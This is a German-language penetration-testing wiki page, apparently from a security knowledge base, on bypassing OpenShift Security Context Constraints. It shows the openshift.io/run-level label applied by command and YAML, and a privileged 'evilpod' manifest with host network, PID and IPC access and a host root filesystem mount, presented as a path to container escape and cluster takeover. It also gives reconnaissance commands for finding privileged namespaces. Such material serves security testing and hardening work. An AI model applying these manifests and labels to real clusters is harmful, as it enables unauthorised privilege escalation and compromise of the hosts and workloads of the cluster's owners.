# Openshift - SCC bypass

**Der ursprüngliche Autor dieser Seite ist** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)

## Privilegierte Namespaces

Standardmäßig wird SCC nicht auf folgenden Projekten angewendet:

- **default**
- **kube-system**
- **kube-public**
- **openshift-node**
- **openshift-infra**
- **openshift**

Wenn Sie Pods in einem dieser Namespaces bereitstellen, wird keine SCC durchgesetzt, was die Bereitstellung von privilegierten Pods oder das Einbinden des Host-Dateisystems ermöglicht.

## Namespace-Label

Es gibt eine Möglichkeit, die Anwendung von SCC auf Ihrem Pod gemäß der RedHat-Dokumentation zu deaktivieren. Sie müssen mindestens eine der folgenden Berechtigungen haben:

- Erstellen eines Namespaces und Erstellen eines Pods in diesem Namespace
- Bearbeiten eines Namespaces und Erstellen eines Pods in diesem Namespace
```bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes
```
Der spezifische Label `openshift.io/run-level` ermöglicht es Benutzern, SCCs für Anwendungen zu umgehen. Laut der RedHat-Dokumentation werden bei Verwendung dieses Labels keine SCCs auf alle Pods innerhalb dieses Namensraums durchgesetzt, wodurch alle Einschränkungen effektiv aufgehoben werden.

<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>

## Label hinzufügen

Um das Label in Ihrem Namensraum hinzuzufügen:
```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```
Um einen Namespace mit dem Label über eine YAML-Datei zu erstellen:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
```
Jetzt sollten alle neuen Pods, die im Namespace erstellt werden, keine SCC haben.

<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
</strong></code></pre>

In Abwesenheit von SCC gibt es keine Einschränkungen für Ihre Pod-Definition. Das bedeutet, dass ein bösartiger Pod leicht erstellt werden kann, um auf das Host-System zu entkommen.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
Jetzt ist es einfacher geworden, Privilegien zu eskalieren, um auf das Hostsystem zuzugreifen und anschließend den gesamten Cluster zu übernehmen, wodurch 'cluster-admin' Privilegien erlangt werden. Suchen Sie nach dem Abschnitt **Node-Post Exploitation** auf der folgenden Seite:

{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}

### Benutzerdefinierte Labels

Darüber hinaus können je nach Zielkonfiguration einige benutzerdefinierte Labels / Annotationen auf die gleiche Weise wie im vorherigen Angriffszenario verwendet werden. Auch wenn sie nicht dafür vorgesehen sind, könnten Labels verwendet werden, um Berechtigungen zu erteilen, eine bestimmte Ressource einzuschränken oder nicht.

Versuchen Sie, nach benutzerdefinierten Labels zu suchen, wenn Sie einige Ressourcen lesen können. Hier ist eine Liste interessanter Ressourcen:

- Pod
- Deployment
- Namespace
- Service
- Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## Liste aller privilegierten Namespaces
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Fortgeschrittener Exploit

In OpenShift, wie zuvor demonstriert, kann das Berechtigung, ein Pod in einem Namespace mit dem `openshift.io/run-level`-Label zu deployen, zu einer unkomplizierten Übernahme des Clusters führen. Aus der Perspektive der Cluster-Einstellungen **kann diese Funktionalität nicht deaktiviert werden**, da sie im Design von OpenShift verankert ist.

Allerdings können Maßnahmen wie **Open Policy Agent GateKeeper** verhindern, dass Benutzer dieses Label setzen.

Um die Regeln von GateKeeper zu umgehen und dieses Label zu setzen, um eine Cluster-Übernahme durchzuführen, **müssten Angreifer alternative Methoden identifizieren.**

## Referenzen

- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)